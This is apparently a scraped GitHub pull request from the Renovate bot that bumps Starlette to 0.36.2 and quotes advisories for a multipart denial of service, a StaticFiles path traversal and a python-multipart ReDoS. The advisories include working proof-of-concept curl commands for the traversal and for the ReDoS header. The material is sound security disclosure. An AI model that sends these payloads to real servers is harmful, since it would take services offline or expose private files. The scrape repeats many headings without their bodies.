chore(deps): update dependency starlette to v0.36.2 [security] #162

renovate · 2023-05-17T04:56:26Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
starlette (changelog)	`^0.22.0` -> `^0.36.0`
starlette (changelog)	`==0.25.0` -> `==0.36.2`

GitHub Vulnerability Alerts

GHSA-74m5-2c7w-9w3x

Impact

The MultipartParser using the package python-multipart accepts an unlimited number of multipart parts (form fields or files).

Processing too many parts results in high CPU usage and high memory usage, eventually leading to an OOM process kill.

This can be triggered by sending too many small form fields with no content, or too many empty files.

For this to take effect application code has to:

Have python-multipart installed and
call request.form()
- or via another framework like FastAPI, using form field parameters or UploadFile parameters, which in turn calls request.form().

Patches

The vulnerability is solved in Starlette 0.25.0 by making the maximum fields and files customizable and with a sensible default (1000).

Applications will be secure by just upgrading their Starlette version to 0.25.0 (or FastAPI to 0.92.0).

If application code needs to customize the new max field and file number, there are new request.form() parameters (with the default values):

max_files=1000
max_fields=1000

Workarounds

Applications that don't install python-multipart or that don't use form fields are safe.

In older versions, it's also possible to instead of calling request.form() call request.stream() and parse the form data in internal code.

In most cases, the best solution is to upgrade the Starlette version.

References

This was reported in private by @das7pad via internal email. He also coordinated the fix across multiple frameworks and parsers.

The details about how multipart/form-data is structured and parsed are in the RFC 7578.

CVE-2023-30798

There MultipartParser usage in Encode's Starlette python framework before versions 0.25.0 allows an unauthenticated and remote attacker to specify any number of form fields or files which can cause excessive memory usage resulting in denial of service of the HTTP service.

CVE-2023-29159

Summary

When using StaticFiles, if there's a file or directory that starts with the same name as the StaticFiles directory, that file or directory is also exposed via StaticFiles which is a path traversal vulnerability.

Details

The root cause of this issue is the usage of os.path.commonprefix():
https://github.com/encode/starlette/blob/4bab981d9e870f6cee1bd4cd59b87ddaf355b2dc/starlette/staticfiles.py#L172-L174

As stated in the Python documentation (https://docs.python.org/3/library/os.path.html#os.path.commonprefix) this function returns the longest prefix common to paths.

When passing a path like /static/../static1.txt, os.path.commonprefix([full_path, directory]) returns ./static which is the common part of ./static1.txt and ./static, It refers to /static/../static1.txt because it is considered in the staticfiles directory. As a result, it becomes possible to view files that should not be open to the public.

The solution is to use os.path.commonpath as the Python documentation explains that os.path.commonprefix works a character at a time, it does not treat the arguments as paths.

PoC

In order to reproduce the issue, you need to create the following structure:

├── static
│   ├── index.html
├── static_disallow
│   ├── index.html
└── static1.txt

And run the Starlette app with:

import uvicorn
from starlette.applications import Starlette
from starlette.routing import Mount
from starlette.staticfiles import StaticFiles

routes = [
    Mount("/static", app=StaticFiles(directory="static", html=True), name="static"),
]

app = Starlette(routes=routes)

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

And running the commands:

curl --path-as-is 'localhost:8000/static/../static_disallow/'
curl --path-as-is 'localhost:8000/static/../static1.txt'

The static1.txt and the directory static_disallow are exposed.

Impact

Confidentiality is breached: An attacker may obtain files that should not be open to the public.

Credits

Security researcher Masashi Yamane of LAC Co., Ltd reported this vulnerability to JPCERT/CC Vulnerability Coordination Group and they contacted us to coordinate a patch for the security issue.

CVE-2024-24762

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header

def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]

httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@&#8203;app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@&#8203;app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@&#8203;app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

Release Notes

encode/starlette (starlette)

chore(deps): update dependency starlette to v0.36.2 [security] #162

Are you sure you want to change the base?

chore(deps): update dependency starlette to v0.36.2 [security] #162

Conversation

renovate bot commented May 17, 2023 • edited Loading

GitHub Vulnerability Alerts

GHSA-74m5-2c7w-9w3x

Impact

Patches

Workarounds

References

CVE-2023-30798

CVE-2023-29159

Summary

Details

PoC

Impact

Credits

CVE-2024-24762

Summary

Details

PoC

Impact

Original Report

Impact

Occurrences

Release Notes

v0.36.2: Version 0.36.2

Fixed

v0.36.1: Version 0.36.1

Fixed

v0.36.0: Version 0.36.0

Added

v0.35.1: Version 0.35.1

Fixed

v0.35.0: Version 0.35.0

Added

Fixed

Changes

v0.34.0: Version 0.34.0

Added

Fixed

Deprecated

v0.33.0: Version 0.33.0

Added

Fixed

v0.32.0: Version 0.32.0

Added

Changed

v0.31.1: Version 0.31.1

Fixed

v0.31.0: Version 0.31.0

Added

Fixed

v0.30.0: Version 0.30.0

Removed

v0.29.0: Version 0.29.0

Added

Fixed

v0.28.0: Version 0.28.0

Changed

Added

Fixed

v0.27.0: Version 0.27.0

Added

Fixed

v0.26.1: Version 0.26.1

Fixed

v0.26.0: Version 0.26.0

Added

Changed

Fixed

Deprecated

v0.25.0: Version 0.25.0

Fixed

v0.24.0: Version 0.24.0

Added

Changed

Fixed

v0.23.1: Version 0.23.1

renovate bot commented May 17, 2023 •

edited

Loading

`v0.36.2`: Version 0.36.2

`v0.36.1`: Version 0.36.1

`v0.36.0`: Version 0.36.0

`v0.35.1`: Version 0.35.1

`v0.35.0`: Version 0.35.0

`v0.34.0`: Version 0.34.0

`v0.33.0`: Version 0.33.0

`v0.32.0`: Version 0.32.0

`v0.31.1`: Version 0.31.1

`v0.31.0`: Version 0.31.0

`v0.30.0`: Version 0.30.0

`v0.29.0`: Version 0.29.0

`v0.28.0`: Version 0.28.0

`v0.27.0`: Version 0.27.0

`v0.26.1`: Version 0.26.1

`v0.26.0`: Version 0.26.0

`v0.25.0`: Version 0.25.0

`v0.24.0`: Version 0.24.0

`v0.23.1`: Version 0.23.1

`v0.23.0`: Version 0.23.0